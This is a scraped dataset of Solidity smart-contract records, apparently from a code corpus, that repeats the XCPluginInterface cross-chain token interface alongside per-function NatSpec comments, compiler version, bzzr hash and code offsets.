interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
deleteCaller
function deleteCaller(address caller) external;
/** * Delete a contract trust caller. * @param caller account of caller. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1289, 1341 ] }
59,307
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
existCaller
function existCaller(address caller) external view returns (bool);
/** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1476, 1547 ] }
59,308
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getCallers
function getCallers() external view returns (address[]);
/** * Get all contract trusted callers. * @return al lcallers. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1639, 1700 ] }
59,309
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getTrustPlatform
function getTrustPlatform() external view returns (bytes32 name);
/** * Get the trusted platform name. * @return name a platform name. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1798, 1868 ] }
59,310
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
addPublicKey
function addPublicKey(address publicKey) external;
/** * Add the trusted platform public key information. * @param publicKey a public key. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1985, 2040 ] }
59,311
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
deletePublicKey
function deletePublicKey(address publicKey) external;
/** * Delete the trusted platform public key information. * @param publicKey a public key. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2160, 2218 ] }
59,312
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
existPublicKey
function existPublicKey(address publicKey) external view returns (bool);
/** * Whether the trusted platform public key information exists. * @param publicKey a public key. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2346, 2423 ] }
59,313
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
countOfPublicKey
function countOfPublicKey() external view returns (uint);
/** * Get the count of public key for the trusted platform. * @return count of public key. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2543, 2605 ] }
59,314
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
publicKeys
function publicKeys() external view returns (address[]);
/** * Get the list of public key for the trusted platform. * @return list of public key. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2723, 2784 ] }
59,315
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
setWeight
function setWeight(uint weight) external;
/** * Set the weight of a trusted platform. * @param weight weight of platform. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2893, 2939 ] }
59,316
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
